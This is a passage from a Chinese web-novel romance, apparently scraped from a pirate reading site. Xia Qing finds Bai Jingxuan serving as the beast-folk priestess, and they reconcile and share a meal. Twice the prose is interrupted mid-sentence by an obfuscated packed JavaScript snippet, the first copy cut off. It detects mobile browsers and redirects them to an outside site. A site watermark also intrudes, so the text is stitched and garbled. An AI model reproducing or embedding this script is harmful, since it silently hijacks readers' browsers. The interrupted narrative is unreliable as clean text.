雅梅将使者队伍遭到袭击之事合盘拖出,推断道:“这些人穷凶极恶,神秘莫测,他们如此大费周章拦截来使队伍,可见所图非小,他们真正的目标应该是兽人大典!” 殿上兽臣们闻言大惊失色:“居然有人敢破坏大典?!” 女皇神色凝重,居高临下扫视群臣,不怒自威:“诸位可有应对之策?” 兽臣们七嘴八舌讨论,夏清在旁闲得直打呵欠,也不知道兽人族那位神龙见首不见尾的圣女究竟何时出现。 这时,有兽臣道:“不如先将大典延期,等此事调查清楚之后,再举办大典。” 殿上不少附和之声,可随即,便有不同的意见提出:“筹备大典所需的人力物力每日俱增,倘若延期,延多久合适?如果调查没有结果,又当何论?” 此人话音刚落,身后立马有人接话:“陛下,吾等以为,仅以灵猫族使者一面之词就断定贼人图谋大典并延期举办大典委实不妥,应一边派人调查,同时继续筹备大典。” 大殿上,兽臣们你一言我一语,叽叽哇哇讨论商议,许久没有定论,一派支持延期,另一派主张不延,最终方案没有确定,两边人马倒是差点打起来。 “够了!”女皇一声呵斥,殿上霎时鸦雀无声。 便在这时,殿外传来一声高呼:“陛下,圣女来朝,已在殿外相候。” 女皇如释重负,点头道:“请圣女上殿。” 听到圣女的名字,夏清来了点精神,探头探脑地好奇往殿外瞧。 不多时,两道人影一前一后走进大殿。 走在前面的兽人少女薄纱遮面,身披一件绯色长裙,背后拖着长长的裙摆,步履款款,姿态骄矜,像一只短暂收敛了万丈光芒的凤凰。 与之相比,跟在她身后的另一个女人则显得过分低调,不仅脸上戴着半块面具,还穿一身素衣,周身没有半分多余的缀饰,只腰间点缀着一块淡紫色的玉佩。 可是,此人纵然清雅,其存在感却不亚于她身前的小凤凰。 她们所过之处,兽臣们 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夏清的目光回到圣女身上。 这位圣女看着年纪轻轻,说话的语气倒颇为老成。 雅梅看见圣女,兴奋得两只眼睛闪闪发光。 竟然连圣女也强调这件事的严重性,女皇皱起眉头,沉吟须臾后叹息道:“兽人大典是我兽人族国泰民安的象征,若大典不能如期举办,势必影响圣城在各部族百姓心目中的威望。” “想必这就是贼子的目的。”圣女语气平静。 故意挑起事端,阻挠大典以扰乱民心,从根源上瓦解兽人族女皇的统治。 “既然如此,则更加不能让贼祟如愿!”女皇凝神思量片刻,果断道,“大典务必要如期举行。” 殿上立即便有兽臣出声复议:“陛下英明!” 圣女早已料到女皇的决策意向,并不意外,遂道:“拦截使节只是他们的第一步,接下来便该是在城中布局。” 这才是最让女皇头痛的地方。 敌在暗我在明,眼下圣城看起来平静,竟不知水面下已是暗涛汹涌。 女皇揉了揉太阳穴:“不知圣女可有主意?” 圣女没有第一时间回答,反而扭头看向身侧白衣女祭司。 静坐一旁闭目养神的祭司感受到众人视线汇聚,她缓缓睁开眼睛。 “我可以在城中布阵,但需向陛下借两个人。” 夏清戳戳柳菡云的胳臂,压低声蛐蛐:“你觉不觉得这位祭司的声音像在哪里听过?” “……”柳菡云偏头,稍作思量,“确实,有点像……” 她话未说完,被女皇回应祭司的声音打断:“阁下但说无妨。” 下一瞬,被人注视的感觉再次出现,夏清循着这道目光看过去。 与之对视的瞬间,白衣祭司唇边扬起一抹微笑。 夏清陡然一个激灵。 与此同时,耳边响起柳菡云喃喃低语:“……峰主。” 夏清:“!” 16.第十六章 夏清心里直打鼓。 这位女祭司是只有声音像白镜玄,还是……她就是白镜玄? 不会这么巧吧? “辅助设阵之人需精通阴阳五行之术。”女祭司不疾不徐地说道,“在场就有两位高手。” 女皇顺着祭司视线看过去,恍然大悟:“原来如此。” 殿上众多兽臣以及圣女和雅梅同时转头看向夏清和柳菡云。 被众人注视的两个人面面相觑。 女皇面带微笑地开口:“二位远道而来一路奔波,委实辛苦,理当好好歇息才是,可眼下圣城之中隐患未除,若二位愿意施以援手,本皇感激不尽,必定以厚礼答谢。” 夏清:“。” 事已至此,想拒绝也不能够了。 不过,她们来蛮荒的初衷是寻找金灵草,倘若女祭司就是白镜玄,或者她与白镜玄有什么关联,那么圣女是否知晓金灵草的线索就无关紧要了。 反正,白镜玄肯定是知道的。 柳菡云倒颇为爽快,一口答应下来。 殿会结束之后,女皇留圣女、祭司二人单独议事,夏清和柳菡云随兽臣们撤出大殿,于殿外稍候。 雅梅将前往圣城接待来使的驿站落脚,因此特来向夏清二人辞行。 “多谢二位姐姐护送我来圣城,雅梅在此拜谢了。”雅梅取出自己所剩不多的盘缠,双手递给柳菡云,“我能给出的报酬不多,请二位姐姐不要嫌弃。” “举手之劳而已,你……”柳菡云正欲推拒,忽然身旁一只手接过雅梅手里的花布锦囊。 夏清将锦囊托在手里掂了掂,然后笑眯眯地揣进怀里:“不嫌弃,不嫌弃。” 能拿到额外的报酬真是意外之喜。 雅梅后退一步,朝夏清二人拂身一拜:“姐姐们再见。” 目送雅梅缓缓走远,柳菡云问夏清:“为何要收雅梅的报酬?” “为什么不收?”夏清反问,而后取出锦囊,把银子匀出来一半塞到柳菡云手中,“她出钱,我们出力,合理的雇佣关系,劳务费而已,打工人,赚点钱不磕碜。” 柳菡云听不懂她说什么,叹息道:“雅梅经此一难,她自己手中应该也不宽裕。” 不愧是正义感爆棚光伟正的故事主角儿。 夏清咋舌:“你真是个老好人,但你要知道,我们若不收她的钱,她心里就会过意不去,认为是欠了我们人情,这世上什么债都好还,唯独人情债,怎么,你想让人家小姑娘一直惦记你?” “……”柳菡云语塞,“是我思虑不周。” 说话这会儿,大殿门口又传来动静,夏清二人回头,见圣女和祭司徐徐从殿内出来。 柳菡云赶紧上前:“圣女请留步!” 圣女闻声,停下脚步,面向来人:“二位仙师。” 柳菡云将来意如实相告。 “金灵草?”圣女沉吟,“我的确知道。” 柳菡云大喜过望:“愿闻其详!” 圣女没有立即回答,而是开口提出条件:“我可以将金灵草的线索告诉你们,但在此之前,希望两位能帮我一个忙。” 柳菡云不假思索:“没问题,你尽管开口,包在我们身上!” 圣女便道:“祭司要在城中设阵,而我需要负责找出歹人藏身的范围,我与祭司得分开行动,所以各自需要一个帮手。” “明白了!”柳菡云点头答应,遂看向夏清,“夏师妹,我和圣女一同寻找贼人下落,你便负责辅助祭司大人设阵,你意下如何?” 夏清:“……好。” “待城中事务告一段落,你我在来时城门处碰头!”柳菡云朝夏清摆摆手,随后便与圣女一同离去。 夏清原地驻足,望着两人背影行过转角,内心无奈地叹了口气。 身后传来祭司冷冷清清的嗓音:“在想什么呢?” 夏清肩膀一颤,赶紧回神。 “我在想,圣女会用什么方法找到闹事者。” 她不确定这位兽人族的女祭司是不是白镜玄,但光是此人与白镜玄极为相似的声音,就足够带给她许多无形的压力。 白衣祭司面具下的眼神淡漠如烟,但语气还算和善:“你很好奇?” 夏清下意识点头,又因有所顾忌很快摇头。 面具后那道视线在夏清身上短暂停留,片刻后,夏清听见对方开口:“随我来。” 说完,白衣祭司转过身去,朝与柳菡云二人离开时相反的方向走去。 夏清赶忙跟上。 圣宫内守备森严,尽管道路宽阔,却没有闲杂人等出没,因而放眼望去,除了往来巡逻的兽卫,便只有夏清和祭司两个人。 这些兽卫经过时见到祭司,都会停下脚步,行礼问安。 刹那间,夏清梦回两个月前紫霄峰巅。 她刚穿来那会儿,掉毛鹌鹑似的战战兢兢跟在白镜玄身后,过路的长老执事态度也这般恭敬。 既视感太强了,夏清一路低着头,大气都不敢喘。 咚—— 因为走神没注意到前面的人停下脚步,夏清一头扎在祭司背上。 “啊……抱歉!”夏清惊慌后退。 她这才发现,周围环境变了模样,她们已经离开圣宫,来到一处僻静的庭院。 院门在夏清身后,不知何处吹来一阵风,木门吱呀一声合上了。 白衣祭司站在不远处,回头瞧了夏清一眼:“地上有银子吗?” 夏清大囧,头埋得更低:“不,不是的……” “……那你为什么一直盯着地面,却不抬头看我?” 意有所指的话语像轻盈的羽毛刮过夏清的耳廓。 夏清心口扑通一声,下意识抬起头来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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世上有什么事,是被信任的人背叛更刺痛人心吗? 不仅长老中有卧底,就连她此刻以为跟她恩爱两不疑的“仙侣”,也是魔族的卧底。 迟疑片刻,夏清终于开口:“……你在信里写了些什么?” 该不会是些紧要的机密内容吧? 夏清话音落下,白镜玄没有立即回答。 须臾,她竟抿起薄薄的嘴唇,神情纠结,脸颊边还泛起可疑的红晕。 夏清:“……?” 看来是相当不妙的书信。 17.第十七章 夏清头疼。 倘若这些书信落入魔族卧底手中…… 白镜玄脸上神情先是羞涩,随后似意识到什么,寡淡清寒的眉目间显现一丝懊恼。 她的脸色变了又变,却始终没有开口回答夏清的话。 “咳。”夏清清了清嗓子,小心试探,“那你……要不要先回去处理这件事?” 白镜玄闻言,神色渐渐恢复如常,摆手道:“不必。” 夏清:“?” “信丢了就丢了,再写便是。”白镜玄看向夏清,眼底好像有莹莹波光,“你特地来蛮荒寻我,我不想再因旁的事情与你分开了。” 夏清:“。” 其实我不是特地来找你的。 一切都是意外。 “嗯……”夏清有点心虚,不敢直视白镜玄的眼睛,“我听湘洲主说你在蛮荒。” 话音未落,忽而迎面吹来一阵紫藤花香的风,随即夏清便坠入一个浅浅的怀抱中。 白镜玄抱住了她。 霎时间,夏清浑身绷紧,屏住呼吸。 白镜玄抱紧夏清,微微倾身,与夏清额头贴着额头。 那双幽静宛如深潭的眼睛里盛着脉脉深情,似要看进夏清心底:“清儿,我并非故意不告而别,你就原谅我吧?” 吴侬软语,从这清清冷冷的美人口中说出来,足以蛊惑人心。 夏清无法回答。 轰隆隆的心跳声一下接一下。 不止夏清自己听见了,白镜玄,肯定也听见了。 很不妙。 夏清感觉事态在悄悄失控。 她刻苦清修两个月,结果一点作用也没有。 似从夏清的心跳声中听出什么,白镜玄神态愈发柔和,又得寸进尺往前贴近一点,鼻尖碰到夏清的鼻尖,语调克制不住地微微上扬:“清儿,你不说话,是不是已经不生气了?” 夏清:“……” 她别别扭扭地侧开脸,试图转移话题:“仙界那边的事,不管真的没问题吗?” 白镜玄不满夏清顾左右而言其他,抬起一只手托着夏清的下巴,将她的脑袋稍稍扶正:“我与清儿久别重逢,难得相处片刻,清儿不关心关心我,怎么老记挂旁人的事情?” 夏清:“。” 紫霄峰的事什么时候变成别人的事了? 夏清撇撇嘴,小声嘟囔:“你看起来过得很好啊,还有心思替兽人女皇排忧解难。” 白镜玄愣了一下,随后好笑道:“清儿……难不成在与我置气?” 夏清不吭声。 “还说我呢……”白镜玄不知想到什么,眉梢一挑,语气玩味,“清儿今日一直盯着小语,眼睛眨都不眨一下。” 夏清抬眼,狐疑:“我什么时候……嗯?小语?” “就是兽人圣女。”白镜玄伸出一根手指点点夏清鼻尖,“你敢说你没有?” 圣女就圣女,还小语呢,什么亲昵的语气! 夏清突然有点生气。 一生气,她就胆大包天:“看看怎么啦?” 脑子里怎么想的是一回事,嘴上说的是另一回事。 白镜玄显然没料到夏清这么理直气壮,猝不及防之下,一时间不知作何反应,于是她疏冷淡漠的脸孔上短暂地出现了几秒钟懵懵的表情。 “你……你不准再看了。”良久,白镜玄绷着脸,闷闷地说。 啊哦,生气啦? 夏清被白镜玄这模样逗笑了,刚才心里莫名蹿起来的烦闷一扫而空。 堂堂仙尊,私底下居然是这个样子。 夏清吃了一大口熊心豹子胆,朝前逼近一步,反客为主:“就准你一口一个小语的叫,不准我多看一眼,你怎么这么霸道这么双标?” 白镜玄被夏清倒打一耙,半晌没反应过来。 夏清话已说出口才觉察不对,这句话也太放肆了,她如此“以下犯上”,会不会惹白镜玄不快? 见白镜玄许久不应,夏清心里开始打鼓。 看吧,这就是得意忘形的下场。 “……清儿教训的是,我知错了。”白镜玄沉吟许久,说这话时,漂亮好看的眉毛微往下耷,表情皱巴巴的。 夏清:“……?” 白镜玄低声解释:“我来圣城时小……圣女方满六岁,本次兽人大典举办的时间正好是她十八岁的生辰,她继承了神凰族的族姓,全名炎凰川·霁语,小语是她的小名。” “……”夏清默。 不愧是圣女,名字如此独特,不像她纯纯一个路人角色,字都少一半多。 夏清半晌不应声,白镜玄小心翼翼地瞅她一眼,继续说道:“成人礼后,的确也不该继续以其小名相称,我以后不会再这样唤她了。” “额,嗯。”夏清知道自己不占理,多少有点心虚。 但更没想到白镜玄居然这么认真的反省,给她整不会了。 好不容易等到夏清出声,白镜玄长舒一口气,眼底重新聚起光彩:“清儿不生我气了吧?” 夏清不大好意思,一脸尴尬地小声说道:“我没有生气。” 听她这么说,白镜玄眉目舒展开来,笑吟吟地顺着她说:“嗯,清儿没有生气。” 夏清:“……” 嗐,随便吧。 夏清稍微反省了一下自己不经脑子的行为,脚下步子悄咪咪往后挪,想拉开和白镜玄的距离。 和白镜玄贴得太近,她大脑不清醒,容易犯错。 但她的撤退计划没有得逞。 没等她提起来那只脚安全落地,白镜玄忽然轻轻一搂,把她揽进怀里。 这下贴得更紧了,隔着彼此身上的衣服,都能感受到对方躯体的柔软与温暖。 夏清心里别别扭扭想躲,忽而一缕温热的柔风吹过她的耳廓。 “清儿,我好想你。” 夏清站定,任由蝴蝶的翅膀煽动风暴,将她拉扯进去,坠入无边无际的涡流。 她早已过了不谙世事的年纪,知道种种反常的迹象所代表的含义。 误会也好,假象也罢,这一刻无法抗拒的感受无比真实。 她终究不得不承认,她对白镜玄,见色起意。 反正,穿越这件事本身,就是一场无妄,满纸荒唐。她近水楼台,怎么不算某种意义上的气运加身? 夏清垂在身侧的手轻轻抬起,用出乎意料的力气,回抱白镜玄。 做一辈子牛马也未必能保证平安到老,高风险高回报,能赚一日算一日。 以后的事,就留在以后再去想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841801|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏清闭上眼睛,唇边勾起一抹笑,轻唤:“祭司大人。” 白镜玄意外,松开夏清,问她:“怎么突然这么叫我?” “因为你现在就是兽人族的祭司啊。”夏清眉目舒展,神色鲜活,“祭司大人,要我帮忙干活可以,但是不是该管饭,我肚子饿了。” 白镜玄微怔,随即明白过来,仙界的人到凡间来,不适应灵气骤减的环境,是会容易肚子饿的。 就连白镜玄自己,隔三差五也会随同女皇和圣女一起用餐。 夏清和柳菡云此行长途跋涉抵达圣城,期间还经历了几次恶意阻截,早就饿得前胸贴后背了。 白镜玄意识到自己疏忽,略感懊恼:“清儿,你且稍等一会儿,我这就去安排。” 她着急忙慌转身要走,却被身旁人忽然伸手拽住。 白镜玄回头:“清儿?” 夏清故意收紧五指,将十指相扣的感受清晰且深刻地传递到白镜玄手上:“走出这扇门,你还是兽人族尊贵的祭司,而我只是途径圣城的人族修士。” 白镜玄不明所以:“……清儿的意思是?” “在人前我们要演戏,不能时时刻刻都那么亲密。”夏清轻轻拨动心里的算盘,“所以……你得补偿我。” 白镜玄闻言,陷入沉思。 夏清等着白镜玄开口,她猜到白镜玄会怎么回答,只要白镜玄说…… “清儿所言甚是,可以让女皇为我们赐婚,正好可以借着兽人大典的名头名正言顺办一场热热闹闹的婚宴,这样在人前也不必顾忌什么了。” 夏清懵逼:“???” “但兽人大典要筹备的东西太多了,人力物力都跟不上,举办婚宴需要花费的时间更多了,便一时半会儿难以推进,所以还需等等。”白镜玄安慰夏清,“别担心,清儿,这件事交给我。” 夏清:“?!” 等等,剧本不是这么写的! 白镜玄说完就要走,神色匆匆。 夏清赶紧把她又拽回来。 “?”白镜玄再一次站定,那双屡次触动夏清的漂亮眼睛忽闪忽闪,“清儿,怎么了?” “我的意思是……” 夏清感觉自己被打败了,从来没有谈过这么狼狈的恋爱。 她深吸一口气,憋红脸看向白镜玄的眼睛:“你……让我亲一下再走。” 说完,夏清掩面扶额。 相比白镜玄张口闭口办婚宴,她提出的请求明明那么纯情,不知道为什么就是有种难言的羞耻感。 白镜玄半秒以内没有回答,夏清立马后悔了,叹息道:“算了算了,你还是……”回去忙你的吧。 话音未落,夏清捂住眼睛那只手被白镜玄拿开。 随即,视野暗下来。 白镜玄双手捧起夏清的脸。 一个柔软湿润的吻不偏不倚印上夏清的唇。 嗡—— 强力电波瞬间将大脑清空。 不知过了多久,夏清晕乎乎的回神,白镜玄已松开她退到半步开外。 她们的手还牵在一起,十指相扣。 白镜玄笑吟吟地望着她:“还要再亲一下吗?” 夏清抿唇:“……不,不用了。” 嘴唇,麻麻的。 噫。 18、第十八章 白镜玄吩咐祭司殿的下人准备晚宴,因为不了解夏清的口味,所以让人多准备了一些。 饭菜陆陆续续端上来,满满当当一大桌。 夏清肚子早就饿得咕咕叫了,但是,当她准备端碗吃饭,忽然愣住。 桌上能吃的东西不少,鸡鸭鱼肉各个种类的食物都有,但夏清左看看,右看看,不知从何处下手。 这些食物都是大整只整只端上来,剃了毛扒了皮,白水煮熟就上桌。 兽人族民风粗犷,吃东西也不讲究,碗筷啥也没有,只配了一把小臂那么长的匕首当餐刀,想吃哪块肉就割哪块肉。 见夏清呆坐桌边愣着不动,白镜玄看看桌上的菜,问她:“怎么了?” 不是说肚子饿了吗?怎么饭菜端上来又不吃呢? 夏清咽了口唾沫,挑了块看起来不太肥腻的位置下刀,切下拇指大一小块肉,硬着头皮塞进嘴里。 嚼两口,腻汪汪的,血腥味儿没有除尽,抹了点儿盐但盖不住腥气,多嚼几下都得呕出来。 白镜玄当面,夏清不想过于失态,只能囫囵把肉咽下肚里去。 同时心里犯起难,这顿饭该咋整呢。 因为她肚子饿白镜玄特地让人置办的饭菜,现在一口都吃不了,夏清骑虎难下。 白镜玄见夏清只吃一口就不再动,若有所思:“你不爱吃肉?” “……”夏清心想:这也不是爱不爱吃肉的问题。 她清了清嗓子,顺着白镜玄这话反问道:“有素菜吗?” 白镜玄沉吟着开口:“兽人族中地位比较高的大多是肉食种族,素食族群散落在圣城外围,圣宫中宴席上是不见素的,即便有也是给宫内下人供应的。” 夏清:“。” 这还是兽人族最繁华的圣城,东西都这么难吃,别的地方简直不敢想象。 蛮荒地带因为土地贫瘠,资源有限,所以战乱频繁,饮食文化因此也比较落后,能有口吃的不饿肚子就谢天谢地了。 夏清琢磨着:“那……材料总有吧?” 白镜玄点点头:“有。” 这就好办了。 夏清放下餐刀,打了个响指:“你带我去厨房。” 白镜玄虽不明所以,但夏清提出的要求她都愿意满足。 于是,白镜玄抬袖轻轻一挥,转眼间,夏清二人就来到祭司殿的厨房。 “在蛮荒还能随便用法术,真是奢侈!不愧是你!”夏清朝白镜玄竖起大拇指。 白镜玄被夏清直白的夸奖逗笑了,唇角微弯朝夏清抬了抬下巴:“看看你要些什么?” 夏清遂大胆翻箱倒柜找食材。 古代仓储技术不发达,鸡鸭都养在圈里,现杀现吃,厨房里存放的反倒大多是素菜。 红薯、萝卜和土豆一山一山地堆在角落里,拿来喂牲口的。 夏清从中挑了几样,摘出来洗洗干净,又顺了几根小葱和挂在梁上驱虫的大蒜辣椒香辛料,拿干净的竹簸箕装起来,最后再捎带一口铁锅,这才跟白镜玄回到殿上。 “那么多肉,不吃也是浪费。”夏清让白镜玄将桌子挪到院子里,在小院中间的空地上用石头砌了个小灶。 点上火,坐上锅,就地取材,剃下肥肉厚油扔进锅里,待锅烧热了,肥肉煎得滋啦啦冒油花。 油一烧热,夏清又扔下切碎的辣椒末,放下大蒜和香辛料,掐诀引一些水进锅里。 待大火将汤水烧开,夏清低头闻了闻,又撒一把盐下去。 “感觉差不多了。”她说着,将刚刚切下来,改刀片好的牛肉羊肉一股脑倒进锅里,拿勺子大力搅和。 白镜玄在旁看着她忙活,颇为好奇:“你这是在做什么菜?工序竟然如此繁琐?” “这就繁琐啦?”夏清乐悠悠地笑开,让白镜玄坐下等,“别着急,待会儿你就知道了。” 白镜玄依言在桌旁坐下,随即便见夏清递来一个小碟子。 碟子里放着辣椒粒儿、蒜末、花生碎、碎菜叶以及一些油。 白镜玄端着碟子眨眨眼,漂亮精致的脸蛋儿上显出两分疑惑:“这些东西能吃吗?” “咋不能吃呢,但你不能直接吃,等等啊。”夏清说着,临时剃了两根细竹竿儿做筷子,从汤里捞出烫好的肉片,放进白镜玄碗里。 先蘸了料裹一裹油,又捞起来抖一抖,自然而然递到白镜玄嘴边:“尝尝?” 白镜玄纤长浓密的睫毛垂下来,视线落在热气腾腾的肉片上,又抬眼看向夏清,对上一双清亮有神,满怀期待的眼睛。 于是,她启唇张嘴,就着夏清递来的筷子将肉片含入口中。 夏清眼睛一眨不眨盯着那双柔唇,脑子犯迷糊。 怎么能有人吃个饭都这么优雅这么好看? 白镜玄咬住肉片,夏清竟然忘了松手,直到白镜玄美眸回转,颇无奈地睨她一眼,嗔怪地轻咬一下筷子尖,夏清才倏地回神,尴尬无措地把手抽回来。 这下她不敢乱看了,扭着头不与白镜玄对视,红着脸问:“……味道怎么样?” “自我下蛮荒来十二年,这是我尝过最美味的吃食。”白镜玄如实回答,眼底流光溢彩,“我竟从不知道清儿还有这样一门手艺。” 夏清被夸得得意了,如果身后有尾巴都得翘起来:“这才哪儿到哪儿啊就美味了,瞎搞搞而已,你要是喜欢吃,等来日准备充分些,我再给你做别的。” 白镜玄闻言,抿唇笑开:“好。” 锅里烧沸了咕噜噜冒着气泡,夏清借机转头,把锅里的肉片都捞起来。 尝一口,马马虎虎,加了香料和配菜,味道层次丰富了些,勉强压下了一部分肉的腥味,但也远远算不上美味,只能说能凑合着下咽了。 夏清胡乱对付了几口,饥肠辘辘的感觉总算消退。 便在这时,院外传来一道人声:“女皇陛下来访,请祭司大人接驾。” “女皇?”夏清正吃着东西呢,腮帮子鼓鼓,闻言一脸懵逼,“她来这儿干嘛?” 白镜玄朝院门外瞧一眼,思量须臾,回答:“陛下偶尔会来此处与我论道,大概是政务上遇到了些难题罢。” 夏清放下碗筷,颇为不解:“兽人族的祭司还负责处理政务呢?” 这个点儿还让人加班,用人制度也忒不人道了。 但人已来到门前,怎么说也要接一下的。 白镜玄领着夏清到院门口,女皇正从辇轿上下来。 她换下了白日里那身气派端庄的衣裳,着了一套更素雅精致的常服,妆容也愈发明艳。 “陛下。”白镜玄与夏清拱手行礼。 女皇瞧了眼白镜玄身侧的夏清,笑意莹然:“夏仙师也在呢,怎么不见另一位仙师?” 夏清解释:“圣女需要柳师姐协助,我就留下来帮祭司。” “原来如此。”女皇点点头,从容不迫地说道,“本皇代祭司谢过夏姑娘了。” 夏清:“?” 这话怎么怪怪的。 忽而,傍晚微风轻盈地吹过,带来一阵陌生的香气。 女皇探头探脑往院子里瞧:“什么味道,怎么这么香呢?” 没等白镜玄出声,夏清便回答道:“我们正在吃饭。” “吃饭?”女皇颇疑惑地眨眨眼,看向白镜玄,“祭司大人要辟谷清修,半月方进一餐,不是前几日才……” “诶?”夏清愣怔,也扭头瞧向白镜玄,“是这样吗?” 白镜玄波澜不惊:“凡事都有例外,清儿姑娘远道而来,风尘仆仆,我便略尽地主之谊,设宴款待。” “祭司说得是,是本皇照顾不周。” 女皇稍作反省,于是又道:“本皇不请自来也算赶巧,不如也凑个热闹。” 说完,她回头吩咐宫人:“去,拿几壶圣酒,送来祭司殿。” 女皇话音刚落,白镜玄便开口:“陛下且慢。” “怎么了?”女皇回头。 白镜玄面无表情地告诉她:“宴席已经结束,桌上只剩一些残羹冷炙,不方便接待陛下,陛下请回吧。” 夏清眉梢一跳,心道:你可真敢说呀。 整个兽人族,大概也只有白镜玄敢让女皇吃闭门羹。 更离谱的却是,即便如此,女皇也没有生气,而是语气随和地笑道:“没关系,如果食物不够,本皇让人再备一些。” 夏清腹诽:您也真够执着的。 女皇打定注意要进院里,已叫人去搬酒。 白镜玄拦在门前,站着没动。 女皇抬眸:“祭司大人?” 白镜玄脸上最后一点笑意也散去了,浑身透着疏冷,淡淡道:“陛下还是请回吧。” 女皇:“……” 这两个人面对面站着,周围好像有无形的气机碰撞交锋。 气场都好强…… 夏清安安静静低着头,站在旁边当隐形人,大气不敢喘。 良久,还是女皇率先退让:“既然祭司大人不方便,本皇也就不叨扰了。” 说完便打道回府。 但她转身离开之前,面色明显不虞。 夏清默默替白镜玄捏一把汗。 “你这样对待兽人女皇她底下的臣民知道么?”夏清咋舌,“不就一顿饭嘛,你让她进来一块儿吃也就多双筷子的事。” 白镜玄垂眸:“我只是实话实说,饭菜不够。” 夏清瞧一眼满桌没下锅的食材:“还有那么多呢……” 白镜玄:“我全吃了。” 夏清:“……” 哈?魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 19、第十九章 但是,白镜玄说到做到。 她当着夏清的面,以无可挑剔的优雅姿态,吃完了两只鸡,一只鸭,半扇羊肋排,两只蹄髈,半块牛肩以及剩下的萝卜、土豆和青菜。 夏清目瞪口呆。 哎哟喂,这得是饿了多久呀? 都怪蛮荒的饭菜太难吃了,看给孩子饿的,稍微整点儿像样的东西就报复性进食。 这样不好。 夏清看向白镜玄的眼神多了两分怜爱。 她决定日后多弄两顿好吃的,给白镜玄补一补。 不过话又说回来,白镜玄是怎么做到吃那么多还不长肉的? 夏清晃了下神,视线飘向白镜玄丝毫赘肉也瞧不着的匀称腰线,心里暗暗叫绝。 不知道摸一下会是什么感受,今天抱住的时候应该趁机摸一把的。 夏清思维发散,东想西想,直到白镜玄放下碗筷,灭了炉灶下的火,夏清才回过神来,发现桌上空了,一整桌的菜已经不翼而飞。 “真吃完啦?”夏清稀奇道,“你胃不难受吗?” 白镜玄语气温和:“不难受。” 吃下去的食物经由心诀炼化,杂质已烧灼化气通过呼吸排出身体,余下能取之为用的部分少之又少,再来一桌她也能吃得下。 夏清委实是开了眼了,朝白镜玄竖起大拇指:“你真棒。” 以后再也不用担心家里剩饭剩菜了! 白镜玄眉眼弯弯,张口便道:“是夫人手艺好。” 夏清愣住,随即一抹红晕迅速上脸,从头到脚混不自在。 搁谁凭空多出来那么大一个美人老婆,有权有闲还深情款款,都不可能坐得住。 “好好好,都好。”夏清稀里糊涂点头应着,低头准备收拾锅碗瓢盆。 忽然白镜玄的手从旁边伸过来,握住夏清的手腕。 夏清抬头,便听白镜玄道:“让殿里的下人收拾就好,夫人随我四处走走?” “也行。”夏清果断放下剩余的摊子。 白镜玄领着夏清在祭司殿的花园里面闲逛,期间白镜玄提议:“夫人或可将菜式的做法告诉殿里的厨子,想吃什么让他们提前准备,若是觉得麻烦,告诉我也可以。” “告诉你?”夏清乐得弯起眼睛,“你要做饭给我吃?” 白镜玄一本正经地点头:“我可以学。” 夏清扭头瞧瞧白镜玄的干净无暇的侧脸,愣怔须臾,倏地笑开:“听起来很诱人,但还是不要了。” 白镜玄疑惑:“为什么?” “你已经这么优秀了,太过全面会让人自惭形秽。”夏清坦然说道,“我也要有一技之长,才能勉强配得上你。” 但夏清内心深处,还有更深一层的想法。 她也得为白镜玄做些什么,才能稍微心安一些。 谁知道日后的局势如何变换,她能不能逃得出去是一回事,不论是白镜玄恢复记忆,将她一剑穿心,还是她成功脱身保全性命,这段偷来的感情注定会落个生离死别的下场。 她不需要白镜玄专程为她做任何事。 白镜玄听了这话,却皱起眉头:“你不要这样说,我与夫人两情相悦,既已结成仙侣,就应荣辱与共,哪有配不配一说。” 夏清闻言只是笑笑,没与白镜玄争辩。 眼瞅着天色渐晚,夏清转移话题:“圣女那边儿多久能传来消息?” “短则三五天,迟则半个月。” 白镜玄回答,“日前从我手中逃走的魔人潜伏日久,此次大典他必定会有所行动,明日起,我们去圣城四方布阵,封锁城门,筛选身份可疑之人,看看其中是否藏有魔族细作。” 散步回来,天已完全暗了。 白镜玄让殿里的下人为夏清准备了一间客房做做样子,入夜后,却径自领着夏清回到自己居住的庭院。 夏清想起自己穿越第一天的混乱和内心许多自寻烦恼的纠结,不免有些好笑。 白镜玄瞥见夏清眼里的笑意,好奇:“夫人在笑什么?” 就这么一会儿,她这句“夫人”是越叫越顺口了。 “想到一些有趣的事。”夏清笑着应她,而后又道,“祭司大人,咱们打个商量呗。” 白镜玄认真听:“夫人请讲。” “我们的关系完全公开之前,在人前还是需要有一些必要的界限。”夏清晓之以理,“日后出了这道门,你不可以再叫我夫人,不管什么情况下,你都要以你兽人祭司的身份为重。” 像今天这样为了一口火锅把女皇撵走的事情,不能再发生了。 谁懂啊,因为白镜玄太恋爱脑,还需要她来劝说才能好好搞事业,真是奢侈的烦恼。 白镜玄沉默着不出声,为夏清提出的要求闷闷不乐。 夏清见状,既无奈又好笑。 “好啦,别不开心。”夏清难得主动,张开双臂上前揽住白镜玄,“夜深了,歇息吧,我替卿卿更衣。” 这一声卿卿唤得白镜玄耳尖泛红,也唤得她心软。 她薄唇轻抿,嗔怪却无可奈何地瞪夏清一眼。那眼神幽怨极了,仿佛夏清是个负心薄幸的大渣女。 夏清悻悻,心虚又难为情地揉了揉鼻子。 好说歹说哄白镜玄坐下,夏清作势要解她的衣带,却趁其不备,低头亲了亲她的脸。 白镜玄惊讶,长而浓密的睫毛颤了颤,像黑色的蝴蝶轻柔地扇动翅膀,眼底猝不及防地淌下一捧流光。 夏清自认不是圣人,被美色.诱惑实属人之常情。 白镜玄那双漂亮的眸子盈盈看她一眼,她的心跳便不由自主地加快。 